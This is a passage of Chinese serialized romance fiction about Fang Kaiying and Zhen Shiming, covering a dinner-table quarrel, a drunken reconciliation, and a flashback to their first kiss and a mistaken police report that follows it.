“我操,怎么又飞起来了!”秦赫骂了一句,要搁脸皮薄点儿的小姑娘,不小心把人车砸了,一准儿不敢再鼓捣那破玩意儿了,方楷莹倒好,人刚下楼,又起飞了。 “我那车——” “我赔。”甄世明淡淡说道。 他站起身,从高层俯视下去,安全帽的荧黄色在沉沉的夜里跃动,如同闪烁微光的萤火虫在钢铁森林中四处飞舞。 他的视线始终跟着,脑海中出现儿时第一次看到萤火虫的情景,小小的甄世明把萤火虫紧紧捂在手心,家人让他放进玻璃罐子里他也不,就那么一路捧回家里,妹妹过来抢,他眼睛一睖,说:“它是我的,只能让我看到。” 此时他站在窗前,依然这样想- 方楷莹的想法有时很简单,3D打印机用了、组装好了、首飞失败了、车砸了、答应赔钱了,广场应该能给她们用了吧。 今天晚上不就干这个来的吗? 只是天更黑的时候视线也不好,飞到一定高度时就容易看不清,室友劝她放弃,她又固执地试了几次,还是不行。 她也打算放弃了,突然身后出现点点光亮,先是一层楼的灯,之后又一层,灯光逐渐亮起,缓缓向上,直至顶层。 一整栋楼的灯都亮起来。 仅仅两分钟,前广场亮如白昼。 室友们兴奋得跳起来,方楷莹的心也跟着颤,她握紧手里的控制器,余光却望向从停车场开走的银灰色跑车。 他走了,大楼管理处的人来了,递给她一件皮衣,“甄总让我传达一下,原话是说…”男人面露难色:“困了睡觉,饿了吃饭,冷了穿衣,下雨记得往屋里跑。” 周围室友都憋着笑,蓝梦更是笑得捂腹,最后摸摸方楷莹的后脑勺,说:“你老板长得帅,人还挺好,知道关爱智障儿童,他不会暗恋你吧?” 方楷莹的脸,微微红了。 无人机再次起飞时,众人都发现了问题所在,她控制的无人机在左右摇摆,仿佛荡漾的心脏,仿佛催眠的摇表,方楷莹那双明亮的眼睛跟着左右游动。 “没用的,赵医生。” “我现在一点儿都不想睡觉。” 赵医生笑笑,将摇表放入胸前口袋。 “你来找我不是寻求治疗?” 方楷莹摇头,平静地说:“我决定退婚了,并且送走了我的未婚夫,您说的对,这对他来说不公平,我没有很伤感,但也谈不上开心。” 赵医生:“没感觉?” 方楷莹:“可以这么说。” 赵医生重新翻开她的病程记录,低头边看边说:“我之前的论文你也看过,对你的诊断和分析我觉得没有错,你对之前那个人的感觉不是爱情,只是一时错觉的延伸,因为你对情感陌生,所以会有错误的判断。所以说,虽然那次实验是失败的,但结论没有错。” 方楷莹非常理性地点点头,“这次和您见面我相信是缘分,但我以后不会再来了,所以有些事情想告诉您。” “您的论文里试验方法是错的,这个说法我认同,但我更想说您得出的结论也是错误的。我尊重科学,为您纠错,仅此而已。” 她还是如以往一样,安静起身离开,无视赵医生错愕的脸色,仿佛别人的情绪与她无关- 方楷莹走出医院时,蓝梦的飞机也落地,打来电话问候:“莹莹,听说你恢复单身了?” 方楷莹听到那边有橙橙和芯芯在说话,“是。” 想都不用想,是听谁说的。 蓝梦说晚上定在玉楼吃饭,待方楷莹到时,秦赫与甄世明也在。 一张大圆桌,她坐在甄世明对面。 四个人好多年没有一起吃饭了。 蓝梦还穿着度假风的艳丽裙装,身上披一件黑色羊绒大衣,质感高级,看得出来价值不菲,方楷莹打扮素净,那件米白色短棉服走在街上估计能撞衫八九次。 甄世明与秦赫也换下年轻时桀骜不羁的皮衣,身披剪裁精良的西装,方楷莹还发现秦赫已经戴上眼镜了。 “近视还是老花?”她很认真地问。 秦赫扶了扶金丝眼镜,狠狠白她一眼,没好气回道:“穿搭。” 方楷莹闭上嘴,安安静静吃饭。 蓝梦滔滔不绝讲述在欧洲度过的奢靡假期,还给方楷莹看了她在薰衣草花海中的照片,喝了几杯红酒下肚后,蓝梦竟然要求方楷莹也喝点儿。 甄世明脸色微变,秦赫瞪她一眼,蓝梦收回刚才的话,自己小口啜饮。 方楷莹没感觉到气氛不对,自己往酒杯里倒了点儿,没什么特别的原因,就是想喝。 从前和汪先生也喝点儿,他喜欢浪漫,总是弄烛光晚餐什么的,而方楷莹也不像曾经似的吃个酒泡菠萝就能断片了。 “汪先生走了,你伤感?”甄世明问,透着故意找茬的味儿。 方楷莹努嘴,似是认真思考后说:“有点儿。” “伤感去追啊。”甄世明装作随意。 “嗯,吃完就去。”方楷莹低头喝粥。 方楷莹是带着点儿脾气来的,她不是傻瓜,知道自己和汪先生的恋情发展成这样最应该怪罪谁。 现在汪先生走了,她打算和甄世明把话说清楚,壮烈地喝了一大口酒,重重把杯放下。 “我知道你一直在破坏我的恋情,我不生气,现在非常平静,只是想问你一下,你这么做是为什么?因为怕橙橙芯芯有了新爸爸不爱你了,还是单纯不想让我好过?” 甄世明:“” 这喧嚣的火药味让蓝梦两口子瞬间进入吃瓜状态,蓝梦把包厢门一关,秦赫给酒杯里倒满酒。 甄世明很淡定,也是一副正经谈判的模样,“原因早就说过了,因为你未婚夫看起来很普通,我不相信你跟我在一起之后还能看上别人,这是对我自己魅力的肯定,而你未婚夫看起来很普通,我认为是对我的羞辱。” 方楷莹闭了闭眼,沉下气说:“我就是一个普通人,找另一个普通人,想过普通日子,这跟你有什么关系?” 甄世明没接她的话茬,双手抱胸,身子靠在椅背,显得十分松弛,“你没有发现吗?你未婚夫一直在依靠你,但他内心却不那么甘愿依靠你,你们的关系并不是看上去那么稳固,早晚都会出问题。” 方楷莹再次问:“这跟你有什么关系?” “退一万步说,我只是希望你找一个比我更好的,我知道很难找,但哪怕只是一条赢过我呢?” 甄世明用挑衅的目光看着她,而她也瞬间被挑起怒火,手掌一拍桌子,站起身来。 “我还是那句话,这和你有什么关系?!甄世明,你不要以为我们之间曾经有过什么,你就可以对我的生活指手画脚,我凭什么要照着你的标准找?!” 甄世明的脾气可不是闹着玩儿的,你敢跟他拍桌子,他就敢炸房子,人猛地站起来,双手撑着桌子,虎视眈眈咬着牙。 “我们之间有过什么?我们之间有两个孩子!你看不明白吗?!你未婚夫有多好?知道你和我的关系还愿意入职我的公司,在你面前装大度包容,在我面前展示吻痕,你觉得这孙子没有心机?他心眼多得像蜂窝煤一样!没出息的男人,一直依靠着女人生活!” “我愿意你管得着我吗?!”方楷莹脸色透红,脖颈淡青色的颈线微微凸起:“我就是觉得他好,他为我洗衣做饭,肯定我的追求,不限制我的自由,他依靠我我愿意!我愿意给他找工作,他没有工作我愿意一辈子养着他!” 甄世明双手拤腰,觉得心肝脾肺哪儿都疼,“他那么好你去追啊!你怎么放手了呢?护照拿不到是吧?不对吧,真爱抵万难啊!你求求我,我他妈帮你拿啊!!” 方楷莹深吸一口气,依然无法平复内心激荡的情绪,赌气的话脱口而出:“行,我求你,你明天就帮我拿,你明天能拿到我后天就走。” 再听方楷莹说走,甄世明把手边酒杯狠狠一摔,双眼通红通红:“我欠你的吗?!方楷莹,我给你拿护照让你去追男人,你跟别人上床我是不是还要站在一边递套啊?!” “不用,”她顿了顿,“我们不戴。” 甄世明鼓起的胸腔忽然坍缩,沉沉呼出那一口像是从血肉里挤出的怒气,他用微颤的手指着方楷莹的脸,气极时一句话都说不出来。 最后把椅子狠狠踢倒在地,连外套都没穿就摔门走了,只留下摔门的那一声巨响- 甄世明走之后,包厢里安静了。 秦赫虎着脸,恶狠狠地盯着她,“方楷莹,你真的过分了,世明这些年养着你的孩子,没有对不起你的地方。” “那也是他的孩子。” 方楷莹扭开脸,倔起来一句话都听不进去,秦赫叹了口气,跟着出去追甄世明。 蓝梦劝和说:“我们这次攒这饭局,本意是让你两和解,谁知道” 方楷莹了解甄世明,这一架不吵不行,吵完他至少能消停一段时间,她摆摆手,拿起酒倒在杯里,仰头喝下一杯又一杯。 还是高估了自己,一顿闷闷的酒喝得她头晕目眩,蓝梦把她送到家门口。 她关上门,看到黑灯的房子,心里有种难言的感觉,仿佛她内心的宇宙再度爆炸,之后一片荒凉寂静。 她打开灯,脱掉鞋子和外套,去厨房给自己倒了一杯热水,站在空荡的房间,人被巨大的孤独感包围。 此时,门铃响了。 作者有话说:小剧场 秦赫追出去之后。 甄世明(红眼悲伤版):她伤了我的心,我好痛,好恨。 秦赫:是啊,我也好痛,好恨。 甄世明:? 秦赫:兄弟,你失去的只是爱情,我失去的可是原版原漆。 第26章 酒精的过度摄入让方楷莹身体摇摇晃晃, 扶着墙走到门口,闭起一只眼睛顺着猫眼向外看。 甄世明站在门外。 真有想死的心,怎么会有人追到家里来吵架, 她把头抵在门上轻轻撞了几下, 醉醺醺地隔着门喊:“方楷莹不在家!” 门外安静片刻,甄世明的声音风平浪静, 发出一问:“拆门还是开门?” 方楷莹沉沉呼气, 后背靠着门,又仰头在门上磕了几下后脑勺,闭上眼睛认命, 反手把门打开一条缝, 软趴趴倚住门框, 一双醉眼看着站在门外的人。 他没穿外套,单穿一件黑色高领毛衣, 掩住喉结,露出清晰的下颌线, 醉眼下的一张脸英秀无比, 楼道里的顶灯化作一束追光,照在本就有光彩的人身上。 只是眼皮微微泛红, 看起来不是刚喝过, 就是刚哭过。 直接拉门进来, 方楷莹没站稳脚,直往前倒, 甄世明双手扶住她的肩膀, 让她把头靠进怀里。 “你来干什么?”她闷在胸口问。 “蓝梦说你喝多了。” 方楷莹站稳脚步,仰起头,鼻尖碰到他的衣领, 身上的木香被怒气燃过,气味更深重浓烈,简直像一团滋滋燃烧的火堆,把人烤得浑身发热。 再看他脸色,冰山一般。 还没从吵架的情绪里拔出来,看到甄世明她就想出言伤人,又问那句:“这跟你有什么关系?” 他沉气,苦笑,似是笑她固执,也笑自己犯贱,低声温语对她说:“你赢了,行么?你吵赢了。” 方楷莹侧着耳朵听,头往边倒,又被甄世明托起扶正,她的脸被他捧在掌心,两种体温在皮肤之间互相抗衡。 她迷迷糊糊地问:“你不是吵架冠军甄世明吗?” 甄世明短笑一声,“那你是什么,逃跑冠军方楷莹?” 房子里突然安静了。 仅能听到两种呼吸声,一种带着酒气急急切切,一种沉沉向下似是叹息。 两人良久无言。 但她知道了,他不是来吵架的。 “你不是来吵架的,那就是想来睡我?”方楷莹抓住他的衣领向下扯,“更难听的话我没说,但我现在要说,你用心良苦,把汪先生逼走,不就是还想睡我?” 甄世明沉重的呼吸忽然停滞住,掰开方楷莹紧抓的手指,“我不和你吵架,我也不睡你,起码不是现在的你。” 强硬的动作掰得手指生疼,她狠狠地推他,却怎么也推不开,两人揪扯,她不由生出怒怨来,自己把身上的衬衫衣扣撕开,狠着声骂他:“你这时候装什么?!我知道,不再睡我一次解不了你的心瘾,睡完你就知道我还是我,你还是你,咱们还是天诛地灭的一对儿!” 甄世明一动不动地看着她,目光像一潭平静的深湖,包容着她像鱼一样在他怀里扭动撒泼。 “我不愿意和醉鬼睡觉。”他把褪到肩头的衬衫提起来,牢牢挡住颈窝下如奶油一般的白腻皮肤,动作狠厉带着决绝。 后来的方楷莹大概从没有过如此失态的时刻,头发乱糟糟,面目狰狞地盯着他的眼睛,盯了一会儿,盯出莫名其妙的眼泪来,她咬紧唇,泪珠在睫毛根处聚成一小堆,倔倔地不肯掉下来。 而甄世明心如巨石,八风不动。 她恨极了他现在这样,用力推搡,鼻尖溢满酸涩,连说话也带着哭腔,“你总是这样!最应该当混蛋的时候你偏不,如果那年我喝醉了不省人事,你把我睡了,我就能坦坦荡荡恨你一辈子!你为什么不呢?!” 她的手攥成拳胡乱打在甄世明胸口,有种钝痛的感觉正在血肉里徐徐展开,甄世明微微皱眉,哑着声反问:“现在你不正恨着我么?难道现在你爱我了吗?” 方楷莹听不进去任何,拳头反复落在他的身上泄愤,甄世明一直没躲,由她打,任她发泄所有激烈的情绪。 最后她紧紧抱住他,低声哭了。 哭声由低处起,逐渐变成哀恸,一声一声传进甄世明耳朵里,让他心里的钝痛变得尖锐,他回抱住方楷莹,缓缓抬手拍打后背安抚,一直到方楷莹哭累了。 她拿衣袖抹抹眼泪,人逐渐平和冷静下来,嗓音也变得沙哑:“孩子呢?” “送回甄家了。”他停止住安抚的动作。 “咱两为了孩子,别吵了行吗?” “行。”他回答,这时候她说什么都行。 她在甄世明昂贵的羊绒毛衣上蹭了蹭鼻涕眼泪,脸闷在胸口,手放在腰上迟迟不松。好几年没哭过,方楷莹出了一口舒爽又沉倦的气。 “哭累了就去睡。”甄世明说,修长的手指一下下抚摸她的后脑勺,像哄橙橙和芯芯那般。 眼泪仿佛把体内的酒精也倾倒出去,方楷莹不再是甄世明口中的醉鬼,她现在是个微醺鬼。 这种状态让她变得话多,也想和人说会儿话,所以甄世明让她去睡的时候,她反复摇头,说:“我不困,我感觉…孤单。” 从小妈妈就反复跟她讲,世界上真心对她好的人只有亲人,不让她随便信任别人,也不能和任何人透露自己的病情,别人知道了,会欺负她。 她在大学之前独来独往,从没交过朋友,出国之后亦是如此,只是小时候她不知道小朋友不愿意跟她玩是什么意思,长大后她知道了一点儿,也偶尔察觉到内心空空的感觉,并不好受。 孤单,她知道那种感觉叫孤单。 “出国之后我觉得自由,很久之后我又感觉孤单,他刚好出现在我孤单的时候。”方楷莹揉揉哭肿的眼睛。 甄世明沉默片刻,呐呐道:“我以为你会一直感觉自由。” “时常自由,偶尔孤单。孤单的时刻不多,只是那种感觉一旦出现,就很难抵挡。会想……” “想什么?” 想你,想孩子。 但她没说,她说:“想谈恋爱。” 甄世明很无奈地笑了一声,对于黏在身上这个人,他无可奈何。 “你说得对,我既要又要,我既怕孤单,又想自由,就是一个很自私的人。” 甄世明很长时间都没再说话。 直到方楷莹真的困了,站得太久腿酸,抱得太紧胳膊疼,但心里却仿佛拥有了舒适的栖息地,变得散漫倦累。 甄世明也不搭她的话,她觉得无聊,缓缓松开手,说了句“去睡了”,就拖着步子走去卧室,走到门口,沉默很久的甄世明才叫住她。 “我就在这儿,你不孤单,相对自由,可以吗?” 她揉揉酸胀的眼睛,再没力气和他争论一二,“我困了,你不愿意走就留下。” “嗯,去睡。”甄世明只是这么说了一句。 他给方楷莹倒了杯蜂蜜水放在床头,轻轻把卧室门关好,在沙发独坐。窗外清辉明月,他仰头望着,打算用这个寂寥的夜晚体会方楷莹所感受过的孤单。 方楷莹刚哭过一场,入睡很快,她知道甄世明会一直在外面,也相信甄世明不会再进来对她做什么。 他是个混蛋,但不完全是。 起码在方楷莹十八岁的时候,他不是。 作者有话说:甄世明前一秒:死生不复相见。 甄世明后一秒:老婆开门。 第27章 那年方楷莹十八岁, 在科技创新比赛拿了一等奖。 蓝梦正与秦赫打得火热,周末秦赫约了农家乐,蓝梦邀请方楷莹一起去。 方楷莹挠挠头, 不好意思地说:“我觉得秦赫肯定不想见我, 我砸了他的车暂时还没钱赔给他,而且我已经和妈妈说周末要回家了。” “他想见, 专门说的邀请你。”蓝梦意味深长, 拍拍她的头,“你都是大学生了,总是回家有什么意思, 以后要是谈恋爱了, 还带着妈妈谈吗?” “我——” “别当妈宝!” 禁不住蓝梦软磨硬泡, 方楷莹答应下来,和妈妈撒谎说周六学校有活动, 周日再回家。 那天天朗云清,微风拂面, 是最适合春游的好时光。 她们坐上秦赫的车, 走了很远很远,直到方楷莹昏昏欲睡才到地方, 那地方不是普通的农家乐, 而是远离市区的度假村。 “秦赫追人还是挺舍得下本儿的, 他包了这个度假村的周末,”蓝梦有点儿骄傲地说, “我有预感, 他想和我表白。” 一下车,方楷莹就看到那辆银灰色的跑车。 甄世明也刚到,从车上下来, 冲锋衣外套甩在肩头,动作行云流水、肆意洒脱。 他略一抬手算是打招呼,秦赫走过去和他说话。方楷莹定在原地,蓝梦撞了撞她的肩膀,对她挤眼睛,“莹莹,你不介意多一个人吧?既来之则安之?” 方楷莹倒想不安之,从度假村走回市区得走到天黑。 只是她这次再见甄世明,感觉别别扭扭的。上次见他回去之后方楷莹被室友开了好久的玩笑,而她还记得被他数落时的委屈感,当然也记得那栋亮灯的楼,那件抵风的皮衣。 她在甄世明走近时突然一拍脑门儿,早知道该把皮衣拿来,还给他。 甄世明被这突如其来的动作惊了一下,笑容旋即在唇角化开,“好多天没见你,还是这么傻啊?” 他又在说嫌弃的话,方楷莹已经听出来了,一扭身,走了。 度假村是英国古堡风格,依山傍水,树木葳蕤,草坪修剪常新,空气也比市区湿润许多,踏在草坪上心情舒适,划船游在湖里,更觉得旷然。 白天的中央湖水清草绿,波光粼粼,四人悠然划船,方楷莹坐在船尾,手里拿一袋鱼食,兴冲冲地喂鱼。 一条条小鱼在湖面跃动,她俯身趴着认真看。湖里的鱼都灵性,从船开始划就跟着他们,尤其是那一条红尾巴大鱼,通身血红,熔岩一般漂亮的颜色,始终跟在船尾。 方楷莹喜欢动物,小时候看蚂蚁能蹲到低血糖,现在趴在那里看鱼,更是整个身子都险要掉下去,幸亏船划得很慢。 舍不得一次性把鱼食全喂下去,她想让鱼再跟一会儿,手指捻着鱼食,像逗弄宠物那样一点点洒下去。 “这是鱼,不是狗。你这样喂它也不会听你的话。”甄世明一边拨弄船桨,一边冷嘲热讽。 “我喜欢鱼,不喜欢狗。” “因为狗会捉虫子?尤其对荧光的黄色分辨得真,萤火虫飞起来狗会撵你。” 方楷莹狠狠白他一眼,在船里左右探身去喂,那条鱼就围着船左右游。 谁说不会听话? 她有点儿幼稚地挑衅甄世明。 直到手里鱼食喂完,其他鱼都散去别处,那尾红色大鱼还一直跟着,方楷莹一抬手,它就露出鱼唇吐泡泡,仿佛也在和她玩乐。 十分灵性。 方楷莹玩得开心,甄世明懒懒拿起对讲机按下,说:“把捕网和桶拿来,这儿有条傻鱼,晚上烤了吃。” 方楷莹眼睛瞪得溜圆,甄世明恶劣地挑起眉梢。 度假村经理还真的划了条小船,笔挺西装外套了连体下水服,脚蹬一双雨鞋,亲自过来捕捞。一见那条傻鱼,面露难色,说这红龙鱼是他们的镇宅之宝。 “不能烤?”甄世明微微皱起眉。 “能!”经理见少爷生气,丝毫没犹豫,“烤不如炖,晚上我让厨房给炖了送过去。” 方楷莹此时已经急得脸色通红,甄世明看她一眼,忽然笑了,对经理说:“先捞起来,怎么做法我再考虑考虑。” 经理应了一声,把红龙鱼捞起来放进桶里,方楷莹看着经理划船远去,扭脸再看甄世明,他一脸“你快来求我”的欠揍表情。 “能不吃吗?” “考虑考虑。”他淡声说道。 一整天方楷莹都惴惴不安,心里一惦记着事儿,就放不下,甄世明却悠然,直到晚上去湖边的营地,厨房把烤炉拿出来,方楷莹还跟在厨师身后探头探脑,精致食材摆了满桌,她实在忍不住,问:“鱼呢?” 厨师回她:“您想吃鱼?” “不不不,”她摆手,用双手撑出一条大鱼的形状,“这么大的鱼,下午捞的,镇宅之宝,去哪了?” “哦,”厨师觉得小姑娘可爱,笑说:“少爷说不吃了,要养。” 方楷莹横着眼睛远远瞪向甄世明,他没看到,跷二郎腿睡在躺椅舒舒服服,手里提溜着车厘子往嘴里喂,秦赫端出下午泡的冰镇菠萝,和蓝梦头挨着头,浓情蜜意地喂一小块给她吃。 “少吃点儿,朗姆泡过的。” 小情侣黏黏糊糊,就在甄世明眼边儿秀,他看不下去,起身套上冲锋衣,走到烤炉旁准备晚餐,方楷莹本来还站在厨师身边,见他过来站远了点儿。 “站那么远干什么?”他一边点着烤炉,一边指挥方楷莹,“想吃什么递给我。” 方楷莹印象中,小时候爸爸妈妈也是这样,两人沉默着在厨房做饭,有时妈妈让爸爸递个东西,那场景和现在有点儿相似。 只是甄世明那种松弛的状态别人永远学不来,黑色冲锋衣衬得身材颀长,神情淡淡酷酷的,年轻时就拥有一切的人,没有紧迫争抢什么的欲望。偌大的度假村,一望无际的草坪,他不显得局促渺小。 方楷莹的生活里好像从没出现过这样的人。 风吹过来带着香根草的味道,她在淡淡的香气中看着甄世明,不知不觉出了神。 “还惦记你的鱼呢?”他漫不经心地问:“去把盘子端过来,吃完饭带你去看。” “哦,哦。”她回过神,小跑着去端盘子,甄世明把第一块烤好的牛肋条放进她的盘子。 “你多吃点儿。” “我看他们两也不用吃了。” 甄世明恹恹地看着不远处两个如胶似漆的人,方楷莹也端着盘子跟他一起看,蓝梦正靠在秦赫胸口,两人坐在草坪亲脸蛋。 把方楷莹看脸红了,不知怎么,偷偷瞟了一眼甄世明,幸好他正看人秀恩爱恨得狠,没注意到她。 天色黑下来,月光更澄澈。 烤肉滋滋冒油,肉质好,烤的手法也好,她划了一下午船饿极,吃得抬不起头,甄世明递给她什么,她就吃什么,甄世明讽她能吃,她埋头说自己正在长身体,又把甄世明说乐了。 再一抬头,蓝梦两人不见了。 “他们呢?” “树林里。” “我们要去找吗?” “不用。” 即便甄世明说过了不用,但她还是跑去了树林寻找一番,没找到人,却看到几只萤火虫飞来飞去,她拿出手机拍照,又返回给甄世明看。 “什么东西?”他说:“看不到。” 方楷莹放大照片怼到眼前,他眯着眼看了大半天,也仅仅看到画面左上的两个荧光小点,嗤了一声,嘲笑她的拍照水平又让把照片发给他。 方楷莹:“” 等她吃饱喝足,又坐在草坪无聊时,甄世明就带她去看鱼。 红龙鱼养在度假村的一汪荷池里,绿荷中见红鱼,别有一番滋味。 她坐在荷池边的一根圆木上,夜风有点儿凉,甄世明坐在她旁边,身体比她高大许多,冷风挡得严严实实。 “真好看。”方楷莹发出感叹。 “喜欢?”甄世明淡淡地问。 方楷莹喜欢的东西不多,这对她来说是一个很“重”的词,意味着她要为此付出精力,她喜欢数学,就要参加奥数比赛,喜欢物理,就要参加物理竞赛,喜欢拆解,就要花时间再装回去。 她犹豫地点头,脸上却没见欢喜,好像说出喜欢需要很慎重,而喜欢的东西都会变得很沉重。 甄世明很有耐心地问:“还喜欢什么?” 她低下头,其实,自己也不知道,她对大多数东西都没有感觉,但她不会告诉甄世明,那会显得人很奇怪。 她会告诉他一些不奇怪的,想了很久之后,她终于开口:“我喜欢拆解机器,喜欢公式和数字,喜欢定律和规则。” 那些东西是不会轻易改变的,比情绪和感情更好理解。 然而甄世明脸上还是出现了难以理解的表情,“我虽然压根没想过你会说喜欢芭比娃娃或者毛茸茸的小动物,但公式和数字,定律和规则” 也太抽象了吧!让人想送礼物都没法送,怎么送?把《相对论的意义》作者改成方楷莹?那阿尔伯特·爱因斯坦他能同意么? 甄世明:…… 方楷莹:还是很奇怪吗? 两个人静默无语。 她一会儿看看荷池,一会儿看看月亮,一会儿偷看甄世明费解的脸色。 公正地说,甄世明就算皱眉费解时,那张脸也像雕塑家的精良作品,眼睛就算充满疑问,也像明月清辉蒙了一层薄薄的雾,上天太偏爱他,给了好家世,还要为他添上好容貌。 第三次偷看的时候被甄世明发现了,她躲避眼神的动作太明显。 甄世明眨眨眼,问:“那我呢?” “嗯?”她也眨眨眼费解。 甄世明忽然把脸凑近,唇角微弯,眉眼带笑,问:“喜欢我么?” 荷池里的鱼儿跳出水面,噗通一声,方楷莹的心跳亦是如此。 她皱起眉,躲避这种令人难受的心悸,偏了偏眼神,指向春夜追逐的两只萤火虫,“你看,萤火虫!” 甄世明头都没侧一下,只是盯着她,眼里粼粼波光倒映她局促不安的脸色,月色也池中水面漾啊漾。 “问你话呢?看什么萤火虫。”他伸手掐住她的脸,让她无法再故意分心。 她觉得脸热,大脑一片空白,说话结结巴巴:“我、我不知道,我一般不喜欢活的东西。” 甄世明轻笑一下,缓缓亲近,远处的萤火虫在她眼中逐渐失焦,方楷莹却将他的鼻梁眼睫都看了个清楚,这才意识到甄世明的鼻尖与她的鼻尖正对在一起。 “你是要我死吗?”他轻声问。 池边的潮湿浸入皮肤,剃须水的味道格外好闻,英秀的眉眼定定看她,方楷莹的感官系统全面攻陷。 手指紧扣住坚硬的圆木,想要退缩却被掐着脸,她闭上眼睛,想要靠关闭感官系统来抵御心脏狂烈跳动的感觉,却还不知道这样的回避在对方眼中,是默许。 鼻尖的触感偏离,甄世明吮住她的唇。 第28章 这个吻开始很温柔。 带着试探的意味, 轻轻吮在唇面。 而方楷莹后背僵直,肩膀蜷缩,大脑一片空白。所有记牢的定律和有序列的数字都被打乱, 仿佛只有此刻唇边柔软的触感是真实的, 胸口那只小鸟彻底飞出去,扑棱扑棱地扇着翅膀。 他的唇轻轻贴着, 热烈的气息扑在脸上, 微烫的掌心扣住肩膀,用力捏了一下,问道:“重新说, 喜欢我么?” 方楷莹喉咙发紧, 说不出话, 只能发出咻咻的气喘,脸颊也逐渐升温发烫, 这个时候无法保持理性,她拒绝回答任何问题。 甄世明等不到想要的答案, 再次把唇压过来, 她的眼睛重新闭上,而双唇微微向他打开。 她很难搞懂, 为什么小面积的亲吻会将酥麻的感觉扩散到四肢, 只是他的舌尖抵开唇齿, 轻轻含吮搅动,她能听到舌尖在口腔湿滑的声音, 她觉得这一切太超过了。 她闭眼咬住甄世明的嘴唇, 下口没轻没重,咬破也浑然不知,沉闷的一声喘息传入耳朵, 她感觉自己的体内好像有柔水在流动。 他没躲没叫疼,反而更强势地压紧,舌尖进攻的意图更强烈,勾着唇舌恨不能将她人都吞下去。 咬破那处流着血,顺着唇面的纹路,渗入她的口腔,血液与唾液交融在一起,便是他们的初吻。 方楷莹尝到血腥的味道,意识迅速回笼,手肘抵在他的胸口用力推开。 她忽然分不清到底是谁的血,手指摸在自己的唇上找伤口,一抬眼又发现自己蠢得要命,甄世明的伤口显而易见。 嘴唇是柔软的皮肤,被她的犬齿一咬,便留下皮开肉绽的痕迹。 “你,破了。”她既紧张又担忧。 甄世明伸出舌尖舔舔那处伤口,简单地“嗯”了声,依然目光沉沉看着她,仿佛要将她锁进眼睛里。 “还没回答我。”他低声问。 “什么?”她被亲晕了,哪里还记得甄世明一直在问她喜欢与否。 方楷莹脸上火辣辣,嘴唇虽然刚被舌尖浸湿,但喉咙还是发紧发干,吞了一下口水还是于事无补,她蹭地站起身,没顾得上再和甄世明说话,就远远跑开。 看着她跑走的背影,甄世明暂时没有心思追她,指背碰了碰唇上的伤口,皱着眉反复在想,是不是哪里做得不对,怎么初吻就被人咬了呢? 方楷莹一路飞快地跑回野餐地,四处寻找可以喝的东西,但那里的服务人员在做最后清扫工作,她撇眼望见那盒菠萝,一口一口塞进嘴里,把那一整盒统统吃光。 酒渍菠萝有股清爽的甜味,让她又想起刚才甄世明的舌尖探进口腔的味道,头晕眼花的感觉姗姗来迟,她还以为是接吻的后劲太大,内心鼓噪着,人晕了过去- 她是第二天早上醒来的。 烈阳刺进窗口,方楷莹头痛欲裂。 手机里无数个未接电话,方楷莹浑身酸软地撑起手臂,发现自己睡在陌生的房间里,身上穿着纯白色的睡袍,鲜红色的血迹从内裤洇到床单。 而对于昨晚的回忆,终止于甄世明亲了她,之后发生了什么,她完全不知道,所以她拿出手机,拨通报警电话。 警察来敲门的时候,方楷莹才知道她住的是度假村行政套房,同样被惊动的有睡在另外两个房间的蓝梦秦赫,还有总统套房里的甄世明。 在方楷莹的报警叙述中,是甄世明亲了她,所以警察第一个找的就是甄世明,他当时还在睡觉,睡眼惺忪打开门,唇上明显的伤痕让警察眯了眯眼。 而在蓝梦和秦赫统一的叙述中,方楷莹误吃了酒渍菠萝,醉晕在草地,甄世明抱她进了房间没有错,但与之同行的还有蓝梦秦赫。 方楷莹身上脏掉的衣服是蓝梦帮忙换的,他们一起从方楷莹的房间离开。秦赫对天发誓,甄世明没有再次进入过方楷莹的房间,因为他们在一起喝酒到深夜,度假村的监控可以证明一切。 当警察问询甄世明时,他脸色不佳,唇上的伤痕鲜艳,承认亲过她,但否认强.奸。 “你们是恋爱关系吗?” “不是。” “这个度假村是谁包下的?” “是我。” 他不能对警察说谎,他说他喜欢方楷莹,定下度假村是想和她拉近距离,但没有想过趁虚而入。 “那为什么预订人是秦赫的名字” 甄世明也不能告诉警察他的家族正在经历一场政治风暴,所有成员都需要行事低调,但他们年轻的儿子进了警察局,面临着强.奸的指控。 他说要请律师,之后沉默。 与此同时,方楷莹被带去医院取证,在那里她知道身体并没有被侵犯过的痕迹,血迹来源于提前到来的月经。 女警告诉她还要进一步采集房间内的证据,并同时坚定地告诉她:“报警是对的。” 方楷莹沉默点头,对于对错的判断,早已在心里模糊。 事情在方楷莹的母亲闯入警局之后一发不可收拾,她那天晚上拨打了很多次电话,但方楷莹的手机静音,于是她接到消息的时候,已经彻底崩溃。 在她眼中,女儿是那么乖的孩子,不可能和同学出去玩儿而夜不归宿,不可能自己主动喝酒,即使警方把证据和监控都拿给她看,她也依然坚信是犯罪者权势滔天,篡改一切。 她在警察局哭闹,把所有人骂了一遍,叫喊着自己的女儿被人糟蹋了,也逼着方楷莹再把那天发生的事情重说一遍又一遍,方楷莹最后咬着嘴唇沉默。 太年轻的年纪,总是会无意之中刺痛别人,也刺痛自己,她没有错,但结果伤人 方楷莹再见甄世明时,他已经被审问多次,唇间因受审过程中的反复撕咬而留了疤,看向她的目光光彩尽失,那种眼神落在方楷莹心上,她记了很多年。 那一天他出警察局,双方做最后调解,出面的人是甄世明的母亲,方楷莹第一次见到他的母亲就是在警察局。 那是一个浑身贵气的女人,拥有与方霞截然不同的从容面孔,脸色始终云淡风清,看向方楷莹的眼神有种克制的冷漠。 猝不及防的,方霞狠扑上去,抬手便甩给甄世明一记耳光,狠戾的巴掌声让在场所有人都定格一瞬。 连甄母的脸色也变了一下,她知道儿子从小学散打,钳制一个小个子的中年妇女本不在话下,况且他何时是这种甘愿被欺负的性格? 但甄世明没有躲,也什么都没说。 警察挡开方霞,甄世明的母亲脸色微变之后又冷静得像个机器,看了一眼甄世明,语气冷静地对方霞说:“国有国法,甄家有家法,他犯的错轮不到外人教训,你打人的事,我们会做伤情鉴定,不接受调解,你可以从看守所出来再说你女儿被‘糟蹋’的事,我们甄家——” “妈”甄世明阻拦她再说下去,摇头的动作便表明不会追究的态度。 甄母不可思议地看着他,而他的目光落处,是那个局促不安,脸色惨白的小姑娘- 方楷莹不知道这件事对于甄世明来说有多严重,只是听说他当天被送出国,名下所有的公司都迅速注销,互联网再也查不到他的踪迹,仿佛这个人从没有存在过。 她在方霞病倒的日子里照顾床前,妈妈每一次看她都让她感觉不舒服,那种眼神中的怀疑和失望,让她不敢直面每一次对视。 